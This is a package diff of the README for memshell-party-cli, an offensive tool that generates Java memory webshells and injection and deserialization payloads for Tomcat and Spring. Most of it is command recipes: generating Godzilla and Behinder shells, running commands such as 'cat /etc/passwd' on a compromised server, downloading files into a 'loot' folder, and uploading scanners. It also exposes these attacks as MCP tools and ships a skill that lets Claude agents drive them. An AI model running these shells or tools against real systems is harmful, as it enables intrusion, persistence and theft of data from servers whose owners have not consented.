memshell-party-cli 0.3.2 → 0.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md CHANGED
@@ -1,389 +1,425 @@
1
- # memshell-party-cli
2
-
3
- English | [中文](README.md)
4
-
5
- Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
- memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
- same HTTP API that powers `party.mem.mk/ui`.
8
-
9
- > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
- > for how you use it.
11
-
12
- ## Features
13
-
14
- - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
- from live, API-driven menus.
16
- - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
- scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
- - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
- with auto-saved target names ready to reuse.
20
- - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
- - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
- - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
- is alive and the credentials work (echo/handshake round-trip).
24
- - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
25
- and prints its output (real `execCommand` / `Cmd` payload round-trip).
26
- - **Named targets** — `memparty save` stores shells in projects (with remark + category),
27
- then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
28
- - **Operation log** — every gen/probe/connect/exec/save/note/remove operation is appended to
29
- `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
30
- - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
31
- - **Any backend** — defaults to the public site, override to your self-hosted instance.
32
-
33
- ## Install
34
-
35
- ```bash
36
- npm install -g memshell-party-cli
37
- # or run without installing:
38
- npx memshell-party-cli gen
39
- ```
40
-
41
- Requires Node.js >= 18.
42
-
43
- ## Choosing the backend
44
-
45
- By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
46
- default `https://party.mem.mk`.
47
-
48
- Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
49
-
50
- ```bash
51
- memparty --api http://127.0.0.1:8080 gen
52
- # or
53
- export MEMPARTY_API_URL=http://127.0.0.1:8080
54
- ```
55
-
56
- ## Usage
57
-
58
- ### Interactive
59
-
60
- Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
61
- auto-saved named targets, a whole gen → verify → exec session fits in one go:
62
-
63
- ```text
64
- memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
65
- saved as '192.168.31.222/behinder'
66
- memparty> exec 192.168.31.222/behinder --cmd whoami
67
- memparty> list
68
- memparty> exit
69
- ```
70
-
71
- Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
72
- Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
73
- The `gen` / `probe` wizards work inside the REPL too:
74
-
75
- ```bash
76
- memparty gen # wizard for a memory shell (outside the REPL)
77
- memparty probe # wizard for a probe shell
78
- ```
79
-
80
- The wizard launches automatically when required flags are missing and you're in a terminal.
81
- Force it anytime with `-i`, or disable it with `--no-interactive`.
82
-
83
- ### Scripted generation
84
-
85
- ```bash
86
- # Godzilla listener for Tomcat, single Base64 payload to stdout
87
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
88
- --godzilla-pass pass --godzilla-key key --jdk java8
89
-
90
- # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
91
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
92
- --godzilla-pass pass --godzilla-key key -o shell.class
93
-
94
- # Command shell with an explicit encryptor
95
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
96
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
97
-
98
- # Full JSON response (metadata + payload) for further processing
99
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
100
- ```
101
-
102
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
103
-
104
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
105
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
106
-
107
- ### Discovering options
108
-
109
- ```bash
110
- memparty config servers # servers and their shell types
111
- memparty config tools Tomcat # tools + types for one server
112
- memparty config packers # packer parent/child tree
113
- memparty config command # Command encryptors & implementation classes
114
- memparty config servers --json # machine-readable
115
- ```
116
-
117
- ### Probe shells
118
-
119
- ```bash
120
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
121
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
122
- ```
123
-
124
- Probe method × content matrix (only these combos are supported by the backend):
125
-
126
- | Method `-m` | Supported content `-c` |
127
- |-------------|-------------------------|
128
- | `DNSLog` | `Server`, `JDK` |
129
- | `Sleep` | `Server` |
130
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
131
-
132
- ### Testing a deployed shell
133
-
134
- `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
135
- it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
136
- tunnel handshake) and exits 0 on success, 1 on failure.
137
-
138
- ```bash
139
- # Godzilla (defaults: --pass pass --key key)
140
- memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
141
-
142
- # Behinder (default: --pass rebeyond)
143
- memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
144
-
145
- # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
146
- memparty connect -u http://target/suo5.jsp -t suo5
147
- ```
148
-
149
- Shells generated by MemShellParty are gated by an auth header — the values are in the
150
- `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
151
- (the Suo5v2 shell checks it too):
152
-
153
- ```bash
154
- memparty connect -u http://target/x -t godzilla --pass pass --key key \
155
- --header-name User-Agent --header-value qSGAJScj
156
- ```
157
-
158
- Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
159
- `--json` for machine-readable output, `--timeout <ms>` (global option).
160
-
161
- ### Executing commands on a deployed shell
162
-
163
- `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
164
- remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
165
- (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
166
- class (which picks the shell itself based on the remote `os.name`).
167
-
168
- ```bash
169
- # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
170
- # pass --os windows|linux to skip the detection
171
- memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
172
-
173
- # Behinder — the payload detects the OS itself, no extra request
174
- memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
175
- ```
176
-
177
- The gate-header flags are the same as for `connect`; `--json` returns
178
- `{ ok, tool, url, command, output, durationMs }` for automation.
179
-
180
- ### Saved targets (projects)
181
-
182
- Save a shell once, then reference it by name — no more flag soup. Shells live inside
183
- **projects**: a project groups several shells of one engagement and carries an optional
184
- `--remark` and `--category`. The store is `~/.memparty/targets.json`.
185
-
186
- ```bash
187
- # save (project is created on the fly; --remark/--category are project-level,
188
- # --shell-remark describes this one shell)
189
- memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
190
- -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
191
- --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
192
-
193
- # list everything (filter with --category <name>)
194
- memparty list
195
-
196
- # use: <project>/<shell>, or a bare project name when it holds exactly one shell
197
- memparty connect hw222/bh9060
198
- memparty exec hw222 --cmd "whoami"
199
-
200
- # edit project meta or a shell's remark / clean up
201
- memparty note hw222 --remark "new remark" --category prod
202
- memparty note hw222/bh9060 --remark "new shell note"
203
- memparty remove hw222/bh9060 # one shell
204
- memparty remove hw222 # the whole project
205
- ```
206
-
207
- Explicit flags still override stored values (`memparty exec hw222 --cmd id --pass otherpass`).
208
-
209
- ### Operation log
210
-
211
- Every operation (gen, probe, connect, exec, save/note/remove) is appended as one JSON
212
- line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the command
213
- plus truncated output. Credentials and payload bytes are never logged.
214
-
215
- ```bash
216
- memparty log # latest 50 operations, newest first
217
- memparty log --category exec # only command executions
218
- memparty log --target hw222 # everything against one project (or a host substring)
219
- memparty log --category connect --json
220
- ```
221
-
222
- ## Demos
223
-
224
- End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
225
- match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
226
- the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
227
- `memparty config packers` first.
228
-
229
- ### 1. Godzilla webshell on Tomcat 9 (javax)
230
-
231
- ```bash
232
- # Listener-based Godzilla shell, single base64 payload to stdout
233
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
234
- --godzilla-pass pass --godzilla-key key --jdk java8
235
-
236
- # ...or write the decoded injector .class straight to disk
237
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
238
- --godzilla-pass pass --godzilla-key key -o shell.class
239
- ```
240
-
241
- ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
242
-
243
- ```bash
244
- memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
245
- --godzilla-pass pass --godzilla-key key --jdk java17
246
- ```
247
-
248
- ### 3. Pure command-execution shell (RCE)
249
-
250
- ```bash
251
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
252
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
253
- ```
254
-
255
- ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
256
-
257
- ```bash
258
- memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
259
- --godzilla-pass pass --godzilla-key key --jdk java8
260
- # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
261
- ```
262
-
263
- ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
264
-
265
- ```bash
266
- # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
267
- memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
268
- --command-param-name cmd --jdk java8
269
- # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
270
- # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
271
- ```
272
-
273
- ### 6. Drop a JSP file
274
-
275
- ```bash
276
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
277
- --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
278
- ```
279
-
280
- ### 7. Java-agent memory shell (survives redeploys, hooks deep)
281
-
282
- ```bash
283
- memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
284
- --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
285
- ```
286
-
287
- ### 8. Fingerprint the target first (blind)
288
-
289
- ```bash
290
- # DNSLog: confirm code execution + exfil the server/JDK name via DNS
291
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
292
- # Sleep: time-based blind — delays Ns only if the server matches your guess
293
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
294
- ```
295
-
296
- The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
297
-
298
- ### Parse a class name
299
-
300
- ```bash
301
- memparty parse-classname --file shell.class
302
- memparty parse-classname <base64-of-class-bytes>
303
- ```
304
-
305
- ### Version
306
-
307
- ```bash
308
- memparty version # CLI version + backend server version
309
- ```
310
-
311
- ## MCP server
312
-
313
- Run the CLI as an MCP server over stdio:
314
-
315
- ```bash
316
- memparty mcp --api http://127.0.0.1:8080
317
- ```
318
-
319
- Example Claude Code / Claude Desktop config:
320
-
321
- ```json
322
- {
323
- "mcpServers": {
324
- "memshell-party": {
325
- "command": "npx",
326
- "args": ["-y", "memshell-party-cli", "mcp"],
327
- "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
328
- }
329
- }
330
- }
331
- ```
332
-
333
- Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
334
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
335
- `exec_command`, `target_save`, `target_note`, `target_list`, `target_remove`, `log_list`.
336
-
337
- ## AI skill (Claude Code)
338
-
339
- The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
340
- `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
341
- server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
342
- guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
343
-
344
- Install it into a project (or drop it in `~/.claude/skills/` for global use):
345
-
346
- ```bash
347
- # from the package root, or after `npm install memshell-party-cli`:
348
- mkdir -p .claude/skills
349
- cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
350
- ```
351
-
352
- Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
353
- *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
354
- the agent to enumerate options first and pick the right packer for the vector.
355
-
356
- ## Programmatic use
357
-
358
- The package also ships a typed API client:
359
-
360
- ```ts
361
- import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
362
-
363
- const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
364
- const res = await client.generateMemShell(
365
- buildMemShellRequest({
366
- server: "Tomcat",
367
- shellTool: "Godzilla",
368
- shellType: "Listener",
369
- packer: "DefaultBase64",
370
- godzillaPass: "pass",
371
- godzillaKey: "key",
372
- jdk: "java8",
373
- }),
374
- );
375
- console.log(res.memShellResult.shellClassName, res.packResult);
376
- ```
377
-
378
- ## Development
379
-
380
- ```bash
381
- npm install
382
- npm run build # tsup -> dist/
383
- npm test # vitest
384
- npm run typecheck # tsc --noEmit
385
- ```
386
-
387
- ## License
388
-
389
- MIT
1
+ # memshell-party-cli
2
+
3
+ English | [中文](README.md)
4
+
5
+ Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
+ memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
+ same HTTP API that powers `party.mem.mk/ui`.
8
+
9
+ > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
+ > for how you use it.
11
+
12
+ ## Features
13
+
14
+ - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
+ from live, API-driven menus.
16
+ - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
+ scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
+ - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
+ with auto-saved target names ready to reuse.
20
+ - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
+ - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
+ - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
+ is alive and the credentials work (echo/handshake round-trip).
24
+ - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
25
+ and prints its output (real `execCommand` / `Cmd` payload round-trip).
26
+ - **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
27
+ Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
28
+ - **Named targets** — `memparty save` stores shells in projects (with remark + category),
29
+ then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
30
+ - **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
31
+ `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
32
+ - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
33
+ - **Any backend** — defaults to the public site, override to your self-hosted instance.
34
+
35
+ ## Install
36
+
37
+ ```bash
38
+ npm install -g memshell-party-cli
39
+ # or run without installing:
40
+ npx memshell-party-cli gen
41
+ ```
42
+
43
+ Requires Node.js >= 18.
44
+
45
+ ## Choosing the backend
46
+
47
+ By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
48
+ default `https://party.mem.mk`.
49
+
50
+ Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
51
+
52
+ ```bash
53
+ memparty --api http://127.0.0.1:8080 gen
54
+ # or
55
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
56
+ ```
57
+
58
+ ## Usage
59
+
60
+ ### Interactive
61
+
62
+ Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
63
+ auto-saved named targets, a whole gen → verify → exec session fits in one go:
64
+
65
+ ```text
66
+ memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
67
+ saved as '192.0.2.10/behinder'
68
+ memparty> exec 192.0.2.10/behinder --cmd whoami
69
+ memparty> list
70
+ memparty> exit
71
+ ```
72
+
73
+ Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
74
+ Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
75
+ The `gen` / `probe` wizards work inside the REPL too:
76
+
77
+ ```bash
78
+ memparty gen # wizard for a memory shell (outside the REPL)
79
+ memparty probe # wizard for a probe shell
80
+ ```
81
+
82
+ The wizard launches automatically when required flags are missing and you're in a terminal.
83
+ Force it anytime with `-i`, or disable it with `--no-interactive`.
84
+
85
+ ### Scripted generation
86
+
87
+ ```bash
88
+ # Godzilla listener for Tomcat, single Base64 payload to stdout
89
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
90
+ --godzilla-pass pass --godzilla-key key --jdk java8
91
+
92
+ # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
93
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
94
+ --godzilla-pass pass --godzilla-key key -o shell.class
95
+
96
+ # Command shell with an explicit encryptor
97
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
98
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
99
+
100
+ # Full JSON response (metadata + payload) for further processing
101
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
102
+ ```
103
+
104
+ `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
105
+
106
+ Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
107
+ pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
108
+
109
+ ### Discovering options
110
+
111
+ ```bash
112
+ memparty config servers # servers and their shell types
113
+ memparty config tools Tomcat # tools + types for one server
114
+ memparty config packers # packer parent/child tree
115
+ memparty config command # Command encryptors & implementation classes
116
+ memparty config servers --json # machine-readable
117
+ ```
118
+
119
+ ### Probe shells
120
+
121
+ ```bash
122
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
123
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
124
+ ```
125
+
126
+ Probe method × content matrix (only these combos are supported by the backend):
127
+
128
+ | Method `-m` | Supported content `-c` |
129
+ |-------------|-------------------------|
130
+ | `DNSLog` | `Server`, `JDK` |
131
+ | `Sleep` | `Server` |
132
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
133
+
134
+ ### Testing a deployed shell
135
+
136
+ `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
137
+ it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
138
+ tunnel handshake) and exits 0 on success, 1 on failure.
139
+
140
+ ```bash
141
+ # Godzilla (defaults: --pass pass --key key)
142
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
143
+
144
+ # Behinder (default: --pass rebeyond)
145
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
146
+
147
+ # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
148
+ memparty connect -u http://target/suo5.jsp -t suo5
149
+ ```
150
+
151
+ Shells generated by MemShellParty are gated by an auth header — the values are in the
152
+ `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
153
+ (the Suo5v2 shell checks it too):
154
+
155
+ ```bash
156
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
157
+ --header-name User-Agent --header-value my-secret-token
158
+ ```
159
+
160
+ Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
161
+ `--json` for machine-readable output, `--timeout <ms>` (global option).
162
+
163
+ ### Executing commands on a deployed shell
164
+
165
+ `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
166
+ remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
167
+ (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
168
+ class (which picks the shell itself based on the remote `os.name`).
169
+
170
+ ```bash
171
+ # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
172
+ # pass --os windows|linux to skip the detection
173
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
174
+
175
+ # Behinder — the payload detects the OS itself, no extra request
176
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
177
+ ```
178
+
179
+ The gate-header flags are the same as for `connect`; `--json` returns
180
+ `{ ok, tool, url, command, output, durationMs }` for automation.
181
+
182
+ ### File upload / download
183
+
184
+ `memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
185
+ shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
186
+ payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
187
+ Large files are chunked automatically. Integrity is verified after transfer — the remote size
188
+ for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
189
+
190
+ ```bash
191
+ # download: defaults to ./<remote basename>; -o sets the destination
192
+ # (an existing directory keeps the remote basename)
193
+ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
194
+ --header-value my-secret-token /etc/passwd -o loot/passwd
195
+
196
+ # an existing local file is never overwritten unless --force is given
197
+ memparty download web1 /var/log/app.log --force
198
+
199
+ # upload: overwrites the remote file (truncate + write), up to 64 MiB
200
+ memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
201
+ ```
202
+
203
+ Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
204
+ retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
205
+ partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
206
+
207
+ Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
208
+ platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
209
+ platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
210
+ old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
211
+ `remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
212
+ instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
213
+ Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
214
+
215
+ ### Saved targets (projects)
216
+
217
+ Save a shell once, then reference it by name — no more flag soup. Shells live inside
218
+ **projects**: a project groups several shells of one engagement and carries an optional
219
+ `--remark` and `--category`. The store is `~/.memparty/targets.json`.
220
+
221
+ ```bash
222
+ # save (project is created on the fly; --remark/--category are project-level,
223
+ # --shell-remark describes this one shell)
224
+ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
225
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
226
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
227
+
228
+ # list everything (filter with --category <name>)
229
+ memparty list
230
+
231
+ # use: <project>/<shell>, or a bare project name when it holds exactly one shell
232
+ memparty connect web1/bh9060
233
+ memparty exec web1 --cmd "whoami"
234
+
235
+ # edit project meta or a shell's remark / clean up
236
+ memparty note web1 --remark "new remark" --category prod
237
+ memparty note web1/bh9060 --remark "new shell note"
238
+ memparty remove web1/bh9060 # one shell
239
+ memparty remove web1 # the whole project
240
+ ```
241
+
242
+ Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
243
+
244
+ ### Operation log
245
+
246
+ Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
247
+ one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
248
+ command plus truncated output. Credentials, payload bytes, and file contents are never logged.
249
+
250
+ ```bash
251
+ memparty log # latest 50 operations, newest first
252
+ memparty log --category exec # only command executions
253
+ memparty log --target web1 # everything against one project (or a host substring)
254
+ memparty log --category connect --json
255
+ ```
256
+
257
+ ## Demos
258
+
259
+ End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
260
+ match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
261
+ the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
262
+ `memparty config packers` first.
263
+
264
+ ### 1. Godzilla webshell on Tomcat 9 (javax)
265
+
266
+ ```bash
267
+ # Listener-based Godzilla shell, single base64 payload to stdout
268
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
269
+ --godzilla-pass pass --godzilla-key key --jdk java8
270
+
271
+ # ...or write the decoded injector .class straight to disk
272
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
273
+ --godzilla-pass pass --godzilla-key key -o shell.class
274
+ ```
275
+
276
+ ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
277
+
278
+ ```bash
279
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
280
+ --godzilla-pass pass --godzilla-key key --jdk java17
281
+ ```
282
+
283
+ ### 3. Pure command-execution shell (RCE)
284
+
285
+ ```bash
286
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
287
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
288
+ ```
289
+
290
+ ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
291
+
292
+ ```bash
293
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
294
+ --godzilla-pass pass --godzilla-key key --jdk java8
295
+ # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
296
+ ```
297
+
298
+ ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
299
+
300
+ ```bash
301
+ # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
302
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
303
+ --command-param-name cmd --jdk java8
304
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
305
+ # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
306
+ ```
307
+
308
+ ### 6. Drop a JSP file
309
+
310
+ ```bash
311
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
312
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
313
+ ```
314
+
315
+ ### 7. Java-agent memory shell (survives redeploys, hooks deep)
316
+
317
+ ```bash
318
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
319
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
320
+ ```
321
+
322
+ ### 8. Fingerprint the target first (blind)
323
+
324
+ ```bash
325
+ # DNSLog: confirm code execution + exfil the server/JDK name via DNS
326
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
327
+ # Sleep: time-based blind — delays Ns only if the server matches your guess
328
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
329
+ ```
330
+
331
+ The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
332
+
333
+ ### Parse a class name
334
+
335
+ ```bash
336
+ memparty parse-classname --file shell.class
337
+ memparty parse-classname <base64-of-class-bytes>
338
+ ```
339
+
340
+ ### Version
341
+
342
+ ```bash
343
+ memparty version # CLI version + backend server version
344
+ ```
345
+
346
+ ## MCP server
347
+
348
+ Run the CLI as an MCP server over stdio:
349
+
350
+ ```bash
351
+ memparty mcp --api http://127.0.0.1:8080
352
+ ```
353
+
354
+ Example Claude Code / Claude Desktop config:
355
+
356
+ ```json
357
+ {
358
+ "mcpServers": {
359
+ "memshell-party": {
360
+ "command": "npx",
361
+ "args": ["-y", "memshell-party-cli", "mcp"],
362
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
363
+ }
364
+ }
365
+ }
366
+ ```
367
+
368
+ Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
369
+ `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
370
+ `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
371
+ `target_remove`, `log_list`.
